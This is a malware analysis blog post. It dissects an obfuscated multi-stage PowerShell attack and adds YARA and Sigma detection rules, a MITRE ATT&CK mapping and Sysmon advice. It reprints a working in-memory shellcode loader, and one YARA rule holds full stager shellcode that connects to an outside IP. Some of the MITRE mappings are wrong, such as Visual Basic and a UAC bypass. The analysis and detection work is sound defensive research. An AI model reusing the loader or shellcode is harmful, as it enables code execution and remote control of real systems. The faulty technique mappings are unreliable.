Post

Unmasking Malware: From PowerShell Tactics to Sysmon Detection

In today’s cybersecurity landscape, the increasing sophistication of malicious scripts and their multi-layered functionalities are becoming a pertinent threat. One such complex example recently caught our attention - a multi-stage malicious PowerShell script that intricately navigates its way into a system, using a combination of obfuscation, encoding, dynamic code execution, and potential elevation techniques. In this deep-dive, we will unravel the layers of this script, analyze its intent, examine its methodology, and understand its potential impact on targeted systems. From using Base64 encoding as a smokescreen to the potential implications of dynamic code injections, join us as we dissect and demystify this recent find.

Analyzing Malware

Stage 1

1
2
3
4
Process: powershell.exe
Process command-line:
C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe -nop -w hidden -enc
JABzAD0ATgBlAHcALQBPAGIAagBl...
  1. The powershell.exe command is invoked with certain parameters:
    • nop stands for No Profile, meaning the PowerShell session is launched without any user-specific profiles.
    • w hidden launches PowerShell with a hidden window, so the user doesn’t see it.
    • enc is short for EncodedCommand. It tells PowerShell to expect the command as a base64-encoded string.
  2. The long string that follows the enc switch is the actual command, base64-encoded. PowerShell supports this encoding to allow complex commands to be passed easily and avoid issues with quoting and escaping. But in this case, it’s also clearly used to obfuscate the command to make it harder to understand what it’s doing, a common technique used in malware.

Stage 2

I decoded base64 string. Its because its given to powershell and wanted powershell to decode.

1
2
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAK1Xa2/iShL9..."));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

During the second stage of the investigation, the team utilized a PowerShell script to execute a specific process. This PowerShell script makes use of the New-Object command to instantiate objects from .NET classes.

In the given code snippet, a new MemoryStream object is being created and is immediately populated with a byte array derived from a base64-encoded string. The base64-encoded string, represented as “base64 string”, is converted into a byte array using the Convert class’s FromBase64String method in the .NET Framework.

This MemoryStream object, which now contains the byte array, is used to create a new GzipStream object in decompression mode, meaning the GzipStream object is reading and decompressing data from the provided MemoryStream object.

Finally, a StreamReader object is used to read the decompressed data from the GzipStream object. The ReadToEnd method is used to read all characters from the current position to the end of the stream.

This sequence of operations suggests the script is unpacking and executing a base64 encoded and gzipped piece of code. It’s a common practice in malicious scripts, which tend to use such mechanisms to obfuscate their true intentions.

During the second stage of our analysis, we took a more cautious approach to understand the potential repercussions of the script. Instead of using IEX to run the PowerShell command embedded in the base64 string, we opted for a safer method. We replaced IEX with echo, a much less harmful alternative that would merely display the decoded command instead of executing it.

1
2
PS C:\Users\Mustafa> $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAK1Xa2/iShL9..."));
>> echo (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

Stage 3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
        Param ($var_module, $var_procedure)
        $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
        $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
        return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
                [Parameter(Position = 1)] [Type] $var_return_type = [Void]
        )

        $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
        $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

        return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH...')

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
        start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
        IEX $DoIt
}

Upon careful evaluation of Stage 3, we discerned a significantly intricate PowerShell script. The script’s structure and functionalities suggest an explicit intention to engage with the system’s lower levels, as evidenced by the use of the Microsoft.Win32.UnsafeNativeMethods namespace, which provides access to potentially dangerous or malicious functionalities within the system.

The script predominantly includes two notable functions - func_get_proc_address and func_get_delegate_type. Both seem meticulously crafted to interact with native system methods and delegate types dynamically, highlighting a comprehensive knowledge of the system’s underpinnings.

The script begins by setting a strict mode for error checking, ensuring that the coder does not use uninitialized variables or call non-existent functions. It then continues by defining a block of code in the $DoIt variable.

Within this block, the script decodes a base64 string to obtain byte code, which is stored in the $var_code variable. This byte code could contain virtually any executable code and is quite alarming considering its obscure and potential malicious nature.

Using the GetProcAddress method from the Microsoft.Win32.UnsafeNativeMethods class, the script obtains a pointer to the VirtualAlloc function from the ‘kernel32.dll’ system library. VirtualAlloc is a Windows API function often used by exploit code to allocate a region of memory with specific permissions.

The script proceeds to call VirtualAlloc, passing it parameters to allocate memory for the previously decoded byte code. It then copies the byte code into this newly allocated memory.

Finally, the script executes the code that was copied into memory. This execution happens dynamically, using a delegate that matches the signature of the code in memory.

Interestingly, the script also checks whether it is running in a 64-bit environment using IntPtr::size, a clear indication of the coder’s intention to make the script compatible with different system architectures.

To summarize, this stage of the script dynamically loads and executes arbitrary code in the system’s memory. The implications and specific actions are dependent on the contents of the base64 encoded string, making it potentially harmful. Therefore, caution and thorough inspection are advised when dealing with such scripts.

Stage 4

After successfully decoding the encrypted string using the CyberChef utility, we obtained a binary string which appears to be a shellcode based on its structure and contents.

CyberChef

The shellcode was subsequently scrutinized using a hex editor. Within this binary, a string was identified which conforms to the format of an IP address, specifically ‘46.101.141.96’.

IOC in Hex Editor

This strongly suggests that the shellcode is designed to establish a network connection, potentially setting up a reverse shell.

Detection with YARA Rules

YARA is a tool that aids in the identification and classification of malware samples. It uses text or binary patterns to detect and analyze potential threats based on a set of rules. These rules can describe malware families, operating system artifacts, or any other identifiable pieces of information.

Stage1_PowerShell_Encoding

This rule targets encoded PowerShell commands. The rule checks for the presence of the string “powershell” and a combination of the strings “-nop”, “-w”, “hidden”, and “-enc”. These strings represent common parameters and switches used to launch PowerShell in a specific manner:

  • powershell: The primary command to invoke PowerShell.
  • nop: Indicates that the PowerShell session should be started without any profiles.
  • w: Specifies the window style.
  • hidden: A parameter that causes PowerShell to run in the background, not displaying any window.
  • enc: A switch indicating the upcoming command is encoded.

The condition at the end specifies that the word “powershell” should be present and at least two of the four switches/parameters to trigger a match.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
rule Stage1_PowerShell_Encoding  {
    meta:
        description = "Detects encoded PowerShell commands"
        author = "Mustafa Nafiz Durukan"
        date = "2023-06-18"
    strings:
        $x1 = "powershell"
        
        $s1 = "-nop"
        $s2 = "-w"
        $s3 = "hidden"
        $s4 = "-enc"
    condition:
        $x1 and ( 2 of $s )
}

Stage2_Base64Decode

This rule is focused on detecting the usage of base64 decoding and the potential execution of the decoded script in PowerShell. It checks for:

  • FromBase64String(: A method used for base64 decoding in .NET.
  • IEX: Short for Invoke-Expression, a command that executes a string as a PowerShell command.
  • /"[a-zA-Z0-9+/]{10,}=="/: A regular expression pattern representing a base64 encoded string.

The condition requires that at least two of the above strings or patterns are present for a match.

1
2
3
4
5
6
7
8
9
10
11
12
rule Stage2_Base64Decode {
    meta:
        description = "Detects base64 decoding and decompression in PowerShell"
        author = "Mustafa Nafiz Durukan"
        date = "2023-06-18"
    strings:
        $x1 = "FromBase64String(" ascii
        $x2 = "IEX"
        $x3 = /"[a-zA-Z0-9+/]{10,}=="/
    condition:
        2 of $x
}

Stage3_ShellCodeInjection

This rule aims to identify potential shellcode injection techniques in PowerShell. It looks for:

  • VirtualAlloc: A Windows API function frequently used by exploit code.
  • kernel32.dll: A vital system library where VirtualAlloc resides.
  • GetDelegateForFunctionPointer: A method to obtain a delegate for a function pointer, allowing for the dynamic execution of code.

Additionally, the rule checks for “FromBase64String(“ and “Invoke(“, which are indicative of decoding and execution patterns in PowerShell.

The condition specifies that at least two of the first three strings or a total of three strings must be present for a match.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
rule Stage3_ShellCodeInjection {
    meta:
        description = "Detects possible shellcode injection in PowerShell"
        author = "Mustafa Nafiz Durukan"
        date = "2023-06-18"
    strings:
        $x1 = "VirtualAlloc"
        $x2 = "kernel32.dll"
        $x3 = "GetDelegateForFunctionPointer"
        
        $s1 = "FromBase64String("
        $s2 = "Invoke("
    condition:
	    ( 2 of $x ) or ( 3 of them )
}

Detect_Shellcode

This rule identifies shellcode, which is a small piece of code used as the payload when exploiting a vulnerability. The rule looks for a specific binary pattern (represented by { FC E8 89 0... }) that corresponds to known malicious shellcode.

The condition is straightforward: if the binary pattern is present, it triggers a match.

1
2
3
4
5
6
7
8
9
10
11
12
13
rule Detect_Shellcode
{
    meta:
        description = "Detects shellcode"
        author = "Mustafa Nafiz Durukan"
        date = "2023-06-19"

    strings:
        $shellcode = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF 31 C0 AC 3C 61 7C 02 2C 20 C1 CF 0D 01 C7 E2 F0 52 57 8B 52 10 8B 42 3C 01 D0 8B 40 78 85 C0 74 4A 01 D0 50 8B 48 18 8B 58 20 01 D3 E3 3C 49 8B 34 8B 01 D6 31 FF 31 C0 AC C1 CF 0D 01 C7 38 E0 75 F4 03 7D F8 3B 7D 24 75 E2 58 8B 58 24 01 D3 66 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 89 44 24 24 5B 5B 61 59 5A 51 FF E0 58 5F 5A 8B 12 EB 86 5D 68 6E 65 74 00 68 77 69 6E 69 54 68 4C 77 26 07 FF D5 31 FF 57 57 57 57 57 68 3A 56 79 A7 FF D5 E9 84 00 00 00 5B 31 C9 51 51 6A 03 51 51 68 50 00 00 00 53 50 68 57 89 9F C6 FF D5 EB 70 5B 31 D2 52 68 00 02 60 84 52 52 52 53 52 50 68 EB 55 2E 3B FF D5 89 C6 83 C3 50 31 FF 57 57 6A FF 53 56 68 2D 06 18 7B FF D5 85 C0 0F 84 C3 01 00 00 31 FF 85 F6 74 04 89 F9 EB 09 68 AA C5 E2 5D FF D5 89 C1 68 45 21 5E 31 FF D5 31 FF 57 6A 07 51 56 50 68 B7 57 E0 0B FF D5 BF 00 2F 00 00 39 C7 74 B7 31 FF E9 91 01 00 00 E9 C9 01 00 00 E8 8B FF FF FF 2F 56 41 5A 6B 00 AE 9D 5A CD E3 56 F8 DC F8 62 46 DD 3C 26 C1 20 83 8F 5A EC 3E 63 BE 0D 4D F6 DA 4E AA 5C 0D 67 3E B1 91 17 17 2A C1 BB DD 22 43 1B EE 84 B0 1A 9B 95 7B AC 63 9C 61 22 0D A9 91 DD 84 40 7E 80 0F 5A 59 17 89 23 7E 99 C4 00 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31 3B 20 57 4F 57 36 34 3B 20 54 72 69 64 65 6E 74 2F 37 2E 30 3B 20 72 76 3A 31 31 2E 30 29 20 6C 69 6B 65 20 47 65 63 6B 6F 0D 0A 00 19 20 55 DE 06 88 C7 D8 09 21 58 BB 4E 97 F2 F2 22 C7 4D 2B F7 6D F1 4E E9 BD 14 A6 97 3C D3 8E D0 E3 19 71 89 21 A4 52 4C 70 A7 8D 0A 45 EC D9 F5 A6 D9 9F 50 6E 19 CC CE C6 38 D6 F7 97 6C B2 AA C3 93 FC B2 E4 A8 0E BD 7F 7C 38 B6 8A AB C7 6C 53 0F 64 AB B2 E0 2C 45 81 B9 4A D2 D5 CC 6C 69 67 85 35 95 7C 4D 29 53 43 53 A6 6C 9C 18 F5 76 B3 F1 B2 D3 4A BA 79 AF D7 DF 78 99 6A 79 73 D8 59 08 96 B2 BD 96 1B 89 0F 42 AE D0 B5 39 DE 30 0E 5C D1 97 62 E8 9B C8 81 F5 07 EE F8 98 D5 C6 49 85 F7 32 85 C9 FE 9A C8 55 D3 19 B2 A8 31 80 7F 7E 1C EA B7 9B 9F 4A 80 3C F6 5B 2A C9 5C CF 6C 51 CF 87 11 0D 3B 21 FC 18 2D F8 F7 65 EF 32 90 17 D5 15 28 95 0B 1D 26 0C F8 00 68 F0 B5 A2 56 FF D5 6A 40 68 00 10 00 00 68 00 00 40 00 57 68 58 A4 53 E5 FF D5 93 B9 00 00 00 00 01 D9 51 53 89 E7 57 68 00 20 00 00 53 56 68 12 96 89 E2 FF D5 85 C0 74 C6 8B 07 01 C3 85 C0 75 E5 58 C3 E8 A9 FD FF FF 34 36 2E 31 30 31 2E 31 34 31 2E 39 36 00 18 88 B5 8B }

    condition:
        $shellcode
}

MITRE Map

MITRE ATT&CK is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. In the report, several stages of the PowerShell malware execution were mapped to specific techniques in the MITRE ATT&CK framework. Here’s a breakdown of the identified techniques and their purposes:

  1. Stage 1 - PowerShell Execution:
    • Technique: T1059.001 - Command and Scripting Interpreter: PowerShell
    • Explanation: PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. The nop, w hidden, and enc flags are used in this script to set the policy, window style, and encoding format for the PowerShell session, respectively.
  2. Stage 2 - Data Encoding and Compression:
    • Technique: T1132.001 - Data Encoding: Standard Encoding
    • Explanation: The adversary is using Base64 encoding to obfuscate the actual payload data, which can help evade signature-based detection mechanisms. Furthermore, they’re using Gzip compression on the Base64-encoded data.
  3. Stage 3 - Process Injection and Code Execution:
    • Techniques:
      • T1055 - Process Injection
      • T1059.005 - Command and Scripting Interpreter: Visual Basic
    • Explanation: The script creates a delegate for a function pointer in memory and copies a Base64-encoded shellcode into that location. This is an instance of process injection, where code is inserted into an existing process’s address space and then executed. After the shellcode is injected, it is executed via the Invoke method.
  4. Stage 3 - Using RunAs for bypassing User Access Control (UAC):
    • Technique: T1548.002 - Abuse Elevation Control Mechanism: Bypass User Access Control
    • Explanation: The PowerShell script uses the start-job cmdlet with RunAs32 to potentially bypass User Access Control (UAC). This could allow the script to run with higher privileges.

Sysmon

Sysmon Overview

Sysmon (System Monitor) is a Windows system service and device driver that monitors and logs system activity to the Windows event log. Sysmon provides detailed information about process creations, network connections, and changes to file creation times, which can be crucial for understanding the nature of activities on a system and, especially, for identifying malicious activities.

Process Creation

One of the most valuable events Sysmon can log is “Process Creation”. This event logs when a process starts on a system and provides detailed data such as the command line used to start the process, the user who ran the process, and other metadata. Process Creation logs are particularly useful for tracking the execution of applications and scripts on a system.

Process Creation Event of Sysmon

Importance of Monitoring Sysmon Logs

By continuously monitoring Sysmon logs, especially the Process Creation events, security teams can detect the execution of such malicious scripts or other anomalous activities. The presence of flags like -nop, -w hidden, and -enc can be used as indicators of suspicious behavior, as these flags are often used in malware campaigns to evade detection.

In the context of the photo, if the security infrastructure is set up to monitor and alert on such command-line flags, then this kind of malware execution can be detected in real-time, allowing for a quick response to mitigate the threat.

In conclusion, Sysmon provides a granular view of system activities, and its logs can be invaluable in detecting and analyzing malicious activities on a system. Regularly monitoring and analyzing Sysmon logs, especially Process Creation events, is an essential practice for robust cybersecurity.

Detection with Sigma Rule

The provided Sigma rule is designed to detect suspicious PowerShell command lines by monitoring Process Creation events in Sysmon logs. Let’s break down how this rule works:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
title: Detect PowerShell Suspicious CommandLines
description: Detects PowerShell command line with suspicious parameters
author: Mustafa Durukan
date: 2023/08/10
tags:
  - attack.execution
  - attack.t1059.001
logsource:
  product: windows
  service: sysmon
detection:
  event_id:
    EventID: 1
  selection_encoded:
    CommandLine|contains:
      - ' -enc '
      - ' -EncodedCommand '
  selection_hidden:
    CommandLine|contains:
      - ' -w hidden '
      - ' -window hidden '
      - ' -windowstyle hidden '
  selection_noprofile:
    CommandLine|contains:
      - ' -nop '
      - ' -NoProfile '
  condition: event_id and 2 of selection*
falsepositives:
  - Administrative activity
level: high

Log Source

  • logsource: Specifies the source of the logs that the rule should monitor. In this case, it’s looking for logs from the Sysmon service on Windows systems.

Detection Logic

  • event_id: The rule is looking for EventID 1, which corresponds to the “Process Creation” event in Sysmon, as discussed in the earlier Sysmon section.
  • selection_encoded: Detects if the command line contains encoded commands using enc or EncodedCommand.
  • selection_hidden: Detects if the PowerShell window is being executed in a hidden manner using flags like w hidden, window hidden, or windowstyle hidden.
  • selection_noprofile: Detects if the PowerShell session is being started without loading a user profile using flags nop or NoProfile.
  • condition: The actual detection logic. The rule triggers an alert if it detects EventID 1 (Process Creation) and any two (2 of) the above-defined selection* patterns in the command line.

Other Sections

  • falsepositives: Lists potential scenarios where the rule might generate an alert, but it’s not actually malicious activity. In this case, it’s administrative activity where an admin might use similar command-line parameters.
  • level: Specifies the severity of the rule. Here, it’s marked as “high”, indicating the importance of addressing any alerts generated by this rule.

Summary of Sigma Rule

This Sigma rule is designed to detect potentially malicious PowerShell command lines by leveraging the granular logging provided by Sysmon’s Process Creation events. By targeting specific suspicious command-line flags, the rule can identify when scripts or commands are being executed with obfuscation or evasion tactics, similar to the scenario discussed in the earlier Sysmon section. When these patterns are detected, an alert with a high severity level is generated, prompting security teams to investigate further.

IOCs

  • 46.101.141.96

VirusTotal

VirusTotal 1

VirusTotal 2

VirusTotal 3

Overall Summary

In this investigation, a complex multi-stage malicious PowerShell script was dissected to reveal its inner workings. The investigation kicked off with a PowerShell command that incorporated Base64 encoding to conceal its intentions. The first stage involved decoding this Base64 string, which then led to the second stage of execution.

In the second stage, the decoded Base64 string was executed to reveal another layer of script. The script was further analyzed by replacing a call to Invoke-Expression (IEX) with echo, allowing for the viewing of the decoded Base64 content without executing potentially harmful code. This unveiled a detailed and complex script that demonstrated a high level of sophistication.

The third stage of the script further demonstrated its complexity. The script employed several advanced .NET and Windows API techniques to allocate memory and execute shellcode within that memory space, making it more difficult to detect and analyze. In the final stage, a Base64 encoded shellcode was uncovered. Decoding this shellcode revealed an IP address which was subsequently found to be associated with malicious activities on VirusTotal.

The presence of obfuscation techniques, use of shellcode, and connection to a known malicious IP address clearly indicate the malicious nature of the PowerShell script. The investigation concluded with the creation of Sigma and YARA rules, which will aid in detecting similar malicious scripts in the future. The meticulous analysis demonstrated in this report underscores the depth and breadth of such scripts and the lengths their authors will go to avoid detection.

This post is licensed under CC BY 4.0 by the author.